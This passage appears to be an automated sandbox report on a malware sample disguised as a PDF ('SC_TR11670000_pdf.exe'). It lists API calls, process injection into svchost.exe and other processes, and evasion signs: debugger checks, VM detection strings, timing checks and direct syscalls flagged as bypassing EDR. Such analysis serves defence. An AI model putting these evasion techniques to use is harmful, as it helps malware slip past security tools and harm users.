Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B4BF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00B4BF27
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F8C5C0 FindFirstFileW,FindNextFileW,FindClose,	3_2_02F8C5C0

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00AE4AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00AE4AFE

Source: recover.exe, 00000003.00000002.4207941820.000000000835E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWu
Source: oCCZhsVsNwIIN.exe, 00000007.00000002.4204619311.0000000000920000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV
Source: recover.exe, 00000003.00000002.4204255129.00000000032C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: recover.exe, 00000003.00000002.4207941820.000000000835E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SC_TR11670000_pdf.exe, 00000000.00000003.1751687828.00000000010D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareworkstation.exe
Source: firefox.exe, 00000008.00000002.2221360071.0000028BE4CCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll__

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	API call chain: ExitProcess graph end node			graph_0-98508
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	API call chain: ExitProcess graph end node			graph_0-98079

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0367096E rdtsc

1_2_0367096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00417A33 LdrLoadDll,

1_2_00417A33

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B541FD BlockInput,

0_2_00B541FD

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00AE3B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00AE3B4C

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B15CCC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00B15CCC

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B5C304 LoadLibraryA,GetProcAddress,

0_2_00B5C304

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_01C534C0 mov eax, dword ptr fs:[00000030h]	0_2_01C534C0
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_01C53460 mov eax, dword ptr fs:[00000030h]	0_2_01C53460
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_01C51E70 mov eax, dword ptr fs:[00000030h]	0_2_01C51E70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D437C mov eax, dword ptr fs:[00000030h]	1_2_036D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B2349 mov eax, dword ptr fs:[00000030h]	1_2_036B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B035C mov eax, dword ptr fs:[00000030h]	1_2_036B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B035C mov eax, dword ptr fs:[00000030h]	1_2_036B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B035C mov eax, dword ptr fs:[00000030h]	1_2_036B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B035C mov ecx, dword ptr fs:[00000030h]	1_2_036B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B035C mov eax, dword ptr fs:[00000030h]	1_2_036B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B035C mov eax, dword ptr fs:[00000030h]	1_2_036B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FA352 mov eax, dword ptr fs:[00000030h]	1_2_036FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D8350 mov ecx, dword ptr fs:[00000030h]	1_2_036D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0370634F mov eax, dword ptr fs:[00000030h]	1_2_0370634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03708324 mov eax, dword ptr fs:[00000030h]	1_2_03708324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03708324 mov ecx, dword ptr fs:[00000030h]	1_2_03708324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03708324 mov eax, dword ptr fs:[00000030h]	1_2_03708324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03708324 mov eax, dword ptr fs:[00000030h]	1_2_03708324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366A30B mov eax, dword ptr fs:[00000030h]	1_2_0366A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366A30B mov eax, dword ptr fs:[00000030h]	1_2_0366A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366A30B mov eax, dword ptr fs:[00000030h]	1_2_0366A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362C310 mov ecx, dword ptr fs:[00000030h]	1_2_0362C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03650310 mov ecx, dword ptr fs:[00000030h]	1_2_03650310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036403E9 mov eax, dword ptr fs:[00000030h]	1_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036403E9 mov eax, dword ptr fs:[00000030h]	1_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036403E9 mov eax, dword ptr fs:[00000030h]	1_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036403E9 mov eax, dword ptr fs:[00000030h]	1_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036403E9 mov eax, dword ptr fs:[00000030h]	1_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036403E9 mov eax, dword ptr fs:[00000030h]	1_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036403E9 mov eax, dword ptr fs:[00000030h]	1_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036403E9 mov eax, dword ptr fs:[00000030h]	1_2_036403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0364E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0364E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0364E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036663FF mov eax, dword ptr fs:[00000030h]	1_2_036663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036EC3CD mov eax, dword ptr fs:[00000030h]	1_2_036EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0363A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0363A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0363A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0363A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0363A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0363A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036383C0 mov eax, dword ptr fs:[00000030h]	1_2_036383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036383C0 mov eax, dword ptr fs:[00000030h]	1_2_036383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036383C0 mov eax, dword ptr fs:[00000030h]	1_2_036383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036383C0 mov eax, dword ptr fs:[00000030h]	1_2_036383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B63C0 mov eax, dword ptr fs:[00000030h]	1_2_036B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE3DB mov eax, dword ptr fs:[00000030h]	1_2_036DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE3DB mov eax, dword ptr fs:[00000030h]	1_2_036DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE3DB mov ecx, dword ptr fs:[00000030h]	1_2_036DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE3DB mov eax, dword ptr fs:[00000030h]	1_2_036DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D43D4 mov eax, dword ptr fs:[00000030h]	1_2_036D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D43D4 mov eax, dword ptr fs:[00000030h]	1_2_036D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362E388 mov eax, dword ptr fs:[00000030h]	1_2_0362E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362E388 mov eax, dword ptr fs:[00000030h]	1_2_0362E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362E388 mov eax, dword ptr fs:[00000030h]	1_2_0362E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365438F mov eax, dword ptr fs:[00000030h]	1_2_0365438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365438F mov eax, dword ptr fs:[00000030h]	1_2_0365438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03628397 mov eax, dword ptr fs:[00000030h]	1_2_03628397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03628397 mov eax, dword ptr fs:[00000030h]	1_2_03628397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03628397 mov eax, dword ptr fs:[00000030h]	1_2_03628397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03634260 mov eax, dword ptr fs:[00000030h]	1_2_03634260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03634260 mov eax, dword ptr fs:[00000030h]	1_2_03634260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03634260 mov eax, dword ptr fs:[00000030h]	1_2_03634260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362826B mov eax, dword ptr fs:[00000030h]	1_2_0362826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274 mov eax, dword ptr fs:[00000030h]	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274 mov eax, dword ptr fs:[00000030h]	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274 mov eax, dword ptr fs:[00000030h]	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274 mov eax, dword ptr fs:[00000030h]	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274 mov eax, dword ptr fs:[00000030h]	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274 mov eax, dword ptr fs:[00000030h]	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274 mov eax, dword ptr fs:[00000030h]	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274 mov eax, dword ptr fs:[00000030h]	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274 mov eax, dword ptr fs:[00000030h]	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274 mov eax, dword ptr fs:[00000030h]	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274 mov eax, dword ptr fs:[00000030h]	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274 mov eax, dword ptr fs:[00000030h]	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B8243 mov eax, dword ptr fs:[00000030h]	1_2_036B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B8243 mov ecx, dword ptr fs:[00000030h]	1_2_036B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0370625D mov eax, dword ptr fs:[00000030h]	1_2_0370625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362A250 mov eax, dword ptr fs:[00000030h]	1_2_0362A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03636259 mov eax, dword ptr fs:[00000030h]	1_2_03636259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036EA250 mov eax, dword ptr fs:[00000030h]	1_2_036EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036EA250 mov eax, dword ptr fs:[00000030h]	1_2_036EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362823B mov eax, dword ptr fs:[00000030h]	1_2_0362823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036402E1 mov eax, dword ptr fs:[00000030h]	1_2_036402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036402E1 mov eax, dword ptr fs:[00000030h]	1_2_036402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036402E1 mov eax, dword ptr fs:[00000030h]	1_2_036402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0363A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0363A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0363A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0363A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0363A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037062D6 mov eax, dword ptr fs:[00000030h]	1_2_037062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036402A0 mov eax, dword ptr fs:[00000030h]	1_2_036402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036402A0 mov eax, dword ptr fs:[00000030h]	1_2_036402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C62A0 mov eax, dword ptr fs:[00000030h]	1_2_036C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C62A0 mov ecx, dword ptr fs:[00000030h]	1_2_036C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C62A0 mov eax, dword ptr fs:[00000030h]	1_2_036C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C62A0 mov eax, dword ptr fs:[00000030h]	1_2_036C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C62A0 mov eax, dword ptr fs:[00000030h]	1_2_036C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C62A0 mov eax, dword ptr fs:[00000030h]	1_2_036C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E284 mov eax, dword ptr fs:[00000030h]	1_2_0366E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E284 mov eax, dword ptr fs:[00000030h]	1_2_0366E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B0283 mov eax, dword ptr fs:[00000030h]	1_2_036B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B0283 mov eax, dword ptr fs:[00000030h]	1_2_036B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B0283 mov eax, dword ptr fs:[00000030h]	1_2_036B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03704164 mov eax, dword ptr fs:[00000030h]	1_2_03704164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03704164 mov eax, dword ptr fs:[00000030h]	1_2_03704164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C4144 mov eax, dword ptr fs:[00000030h]	1_2_036C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C4144 mov eax, dword ptr fs:[00000030h]	1_2_036C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C4144 mov ecx, dword ptr fs:[00000030h]	1_2_036C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C4144 mov eax, dword ptr fs:[00000030h]	1_2_036C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C4144 mov eax, dword ptr fs:[00000030h]	1_2_036C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362C156 mov eax, dword ptr fs:[00000030h]	1_2_0362C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C8158 mov eax, dword ptr fs:[00000030h]	1_2_036C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03636154 mov eax, dword ptr fs:[00000030h]	1_2_03636154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03636154 mov eax, dword ptr fs:[00000030h]	1_2_03636154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03660124 mov eax, dword ptr fs:[00000030h]	1_2_03660124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE10E mov eax, dword ptr fs:[00000030h]	1_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE10E mov ecx, dword ptr fs:[00000030h]	1_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE10E mov eax, dword ptr fs:[00000030h]	1_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE10E mov eax, dword ptr fs:[00000030h]	1_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE10E mov ecx, dword ptr fs:[00000030h]	1_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE10E mov eax, dword ptr fs:[00000030h]	1_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE10E mov eax, dword ptr fs:[00000030h]	1_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE10E mov ecx, dword ptr fs:[00000030h]	1_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE10E mov eax, dword ptr fs:[00000030h]	1_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DE10E mov ecx, dword ptr fs:[00000030h]	1_2_036DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DA118 mov ecx, dword ptr fs:[00000030h]	1_2_036DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DA118 mov eax, dword ptr fs:[00000030h]	1_2_036DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DA118 mov eax, dword ptr fs:[00000030h]	1_2_036DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DA118 mov eax, dword ptr fs:[00000030h]	1_2_036DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F0115 mov eax, dword ptr fs:[00000030h]	1_2_036F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037061E5 mov eax, dword ptr fs:[00000030h]	1_2_037061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036601F8 mov eax, dword ptr fs:[00000030h]	1_2_036601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F61C3 mov eax, dword ptr fs:[00000030h]	1_2_036F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F61C3 mov eax, dword ptr fs:[00000030h]	1_2_036F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_036AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_036AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_036AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_036AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_036AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03670185 mov eax, dword ptr fs:[00000030h]	1_2_03670185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036EC188 mov eax, dword ptr fs:[00000030h]	1_2_036EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036EC188 mov eax, dword ptr fs:[00000030h]	1_2_036EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D4180 mov eax, dword ptr fs:[00000030h]	1_2_036D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D4180 mov eax, dword ptr fs:[00000030h]	1_2_036D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B019F mov eax, dword ptr fs:[00000030h]	1_2_036B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B019F mov eax, dword ptr fs:[00000030h]	1_2_036B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B019F mov eax, dword ptr fs:[00000030h]	1_2_036B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B019F mov eax, dword ptr fs:[00000030h]	1_2_036B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362A197 mov eax, dword ptr fs:[00000030h]	1_2_0362A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362A197 mov eax, dword ptr fs:[00000030h]	1_2_0362A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362A197 mov eax, dword ptr fs:[00000030h]	1_2_0362A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365C073 mov eax, dword ptr fs:[00000030h]	1_2_0365C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03632050 mov eax, dword ptr fs:[00000030h]	1_2_03632050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B6050 mov eax, dword ptr fs:[00000030h]	1_2_036B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362A020 mov eax, dword ptr fs:[00000030h]	1_2_0362A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362C020 mov eax, dword ptr fs:[00000030h]	1_2_0362C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C6030 mov eax, dword ptr fs:[00000030h]	1_2_036C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B4000 mov ecx, dword ptr fs:[00000030h]	1_2_036B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D2000 mov eax, dword ptr fs:[00000030h]	1_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D2000 mov eax, dword ptr fs:[00000030h]	1_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D2000 mov eax, dword ptr fs:[00000030h]	1_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D2000 mov eax, dword ptr fs:[00000030h]	1_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D2000 mov eax, dword ptr fs:[00000030h]	1_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D2000 mov eax, dword ptr fs:[00000030h]	1_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D2000 mov eax, dword ptr fs:[00000030h]	1_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D2000 mov eax, dword ptr fs:[00000030h]	1_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364E016 mov eax, dword ptr fs:[00000030h]	1_2_0364E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364E016 mov eax, dword ptr fs:[00000030h]	1_2_0364E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364E016 mov eax, dword ptr fs:[00000030h]	1_2_0364E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364E016 mov eax, dword ptr fs:[00000030h]	1_2_0364E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_0362A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036380E9 mov eax, dword ptr fs:[00000030h]	1_2_036380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B60E0 mov eax, dword ptr fs:[00000030h]	1_2_036B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362C0F0 mov eax, dword ptr fs:[00000030h]	1_2_0362C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036720F0 mov ecx, dword ptr fs:[00000030h]	1_2_036720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B20DE mov eax, dword ptr fs:[00000030h]	1_2_036B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036280A0 mov eax, dword ptr fs:[00000030h]	1_2_036280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C80A8 mov eax, dword ptr fs:[00000030h]	1_2_036C80A8
